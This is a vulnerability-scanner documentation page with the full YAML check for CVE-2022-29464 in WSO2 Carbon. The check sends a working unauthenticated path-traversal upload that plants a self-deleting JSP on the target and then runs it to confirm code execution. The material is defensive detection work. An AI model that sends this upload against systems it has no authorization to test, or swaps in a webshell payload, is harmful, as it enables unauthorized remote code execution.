WSO2 — 1 vulnerability check
noctis ships 1 vulnerability check for WSO2, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
WSO2 Carbon Unauthenticated Arbitrary File Upload
| CVE | CVE-2022-29464 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/wso2/CVE-2022-29464.yaml |
Detects the WSO2 Carbon management console unauthenticated arbitrary file upload (CVE-2022-29464). A one-line JSP is uploaded without credentials through the path traversal in the fileupload endpoint into the web-reachable authenticationendpoint application, then requested. The JSP prints the sum of two random numbers chosen for this scan and deletes its own file. The finding fires only when that sum, which the request never contains, comes back: the server wrote the file outside the upload directory and executed it. The probe is intrusive (it executes code on the target), and the compiled JSP class stays in the server's work directory.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /fileupload/toolsAnywith a crafted body - HTTP(S) request
GET /authenticationendpoint/{{g.name}} - Parses / computes the next value with a Rhai script
- Checks
jsp.bodyforNOCTIS[0-9]+END→ finding QoD 97: Unauthenticated file upload to code execution confirmed on …:…: a JSP uploaded through the /fileupload/toolsAny traversal into /authenticat…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2022-29464
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-29464.yaml
- https://www.rapid7.com/db/?q=CVE-2022-29464
Feed source — tests/vulnerabilities/wso2/CVE-2022-29464.yaml
# WSO2 Carbon Management Console — Unauthenticated Arbitrary File Upload → RCE (CVE-2022-29464)
#
# Multiple WSO2 products (Carbon-based management console) accept an
# unauthenticated multipart upload to the `fileupload` endpoint. A path
# traversal in the Content-Disposition `name` field lets the attacker write
# the uploaded file anywhere under the deployed web application, including a
# web-reachable directory (authenticationendpoint). A real attacker drops a
# JSP webshell there for remote code execution.
#
# Detection (benign, self-deleting):
# The feed uploads, through the traversal-abusing fileupload endpoint, a
# one-line JSP named after a per-run random value into the web-reachable
# authenticationendpoint webapp, then requests it. The JSP prints
# "NOCTIS" + (a + b) + "END" for two per-run random operands and deletes
# its own file. The finding requires the computed sum, which appears
# nowhere in the request (only the two operands do), so an echo page,
# honeypot or a server that merely stores and serves the upload as text
# cannot satisfy it (issue #2372: the previous inert-text probe matched a
# nonce that the retrieval URL itself carried). Only Tomcat's compiled
# copy of the JSP stays in its work/ directory.
#
# The multipart body is sent with CRLF line endings: Commons FileUpload
# (used by the real Carbon fileupload servlet) only recognises CRLF
# boundaries, so the former LF-only body could not be parsed by a real
# WSO2 server.
uid: 7f4b27b7-afe3-4403-a0c2-f15078fd5876
name: "WSO2 Carbon Unauthenticated Arbitrary File Upload (CVE-2022-29464)"
description: |
Detects the WSO2 Carbon management console unauthenticated arbitrary file
upload (CVE-2022-29464). A one-line JSP is uploaded without credentials
through the path traversal in the fileupload endpoint into the
web-reachable authenticationendpoint application, then requested. The JSP
prints the sum of two random numbers chosen for this scan and deletes its
own file. The finding fires only when that sum, which the request never
contains, comes back: the server wrote the file outside the upload
directory and executed it. The probe is intrusive (it executes code on the
target), and the compiled JSP class stays in the server's work directory.
cves: [CVE-2022-29464]
cvss: 9.8
severity: critical
confidence_base: 0.25
category: rce
tags: [wso2, carbon, file-upload, path-traversal, rce, unauthenticated, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2022-29464"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2022/CVE-2022-29464.yaml"
- "https://www.rapid7.com/db/?q=CVE-2022-29464"
steps:
# 1 — Per-run JSP name and operands. The sum is never sent: only a and b
# appear in the uploaded source, so a server that reflects the request
# or serves the upload verbatim cannot produce the marker.
- id: mint
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
#{ name: "noctis" + rand_hex(12) + ".jsp", a: a, b: b, marker: "NOCTIS" + (a + b) + "END" }
store_as: g
# Pre-initialised so a failed request leaves no undefined var behind.
- id: init_up
action: set_var
var_name: upload_resp
var_value: {status: 0, body: ""}
- id: init_get
action: set_var
var_name: jsp
var_value: {status: 0, body: ""}
# 2 — Unauthenticated upload. The traversal in the multipart `name` field
# drops the file into the authenticationendpoint webapp. CRLF line
# endings throughout: Commons FileUpload rejects LF-only multipart.
- id: upload
action: http_request
method: POST
path: "/fileupload/toolsAny"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
headers:
Content-Type: "multipart/form-data; boundary=noctisb0undary2029"
body: "--noctisb0undary2029\r\nContent-Disposition: form-data; name=\"../../../../repository/deployment/server/webapps/authenticationendpoint/{{g.name}}\"; filename=\"{{g.name}}\"\r\nContent-Type: application/octet-stream\r\n\r\n<% out.print(\"NOCTIS\" + ({{g.a}} + {{g.b}}) + \"END\"); try { new java.io.File(application.getRealPath(request.getServletPath())).delete(); } catch (Exception e) { } %>\r\n--noctisb0undary2029--\r\n"
store_as: upload_resp
# 3 — Run the JSP from the web-reachable path it should have landed in.
# Skipped when the upload was refused (401/403/404…).
- id: run
action: http_request
method: GET
path: "/authenticationendpoint/{{g.name}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: "upload_resp.status >= 200 && upload_resp.status < 300"
store_as: jsp
# 4 — Confirm: the computed sum must come back, which only executed code
# can produce. QoD 97 (confirmed code execution).
- id: exec-check
action: script
code: |
#{ hit: jsp.status == 200 && stridx(jsp.body, g.marker) >= 0 }
store_as: proof
- id: confirm-exec
action: match
source: jsp.body
pattern: "NOCTIS[0-9]+END"
condition: "proof.hit == true"
on_match:
finding:
confidence_delta: 0.70
qod: 97
evidence: "Unauthenticated file upload to code execution confirmed on {{target_host}}:{{port}}: a JSP uploaded through the /fileupload/toolsAny traversal into /authenticationendpoint/ ran and printed {{g.marker}} (sum of this scan's random operands {{g.a}} + {{g.b}}), then deleted itself"
stop: true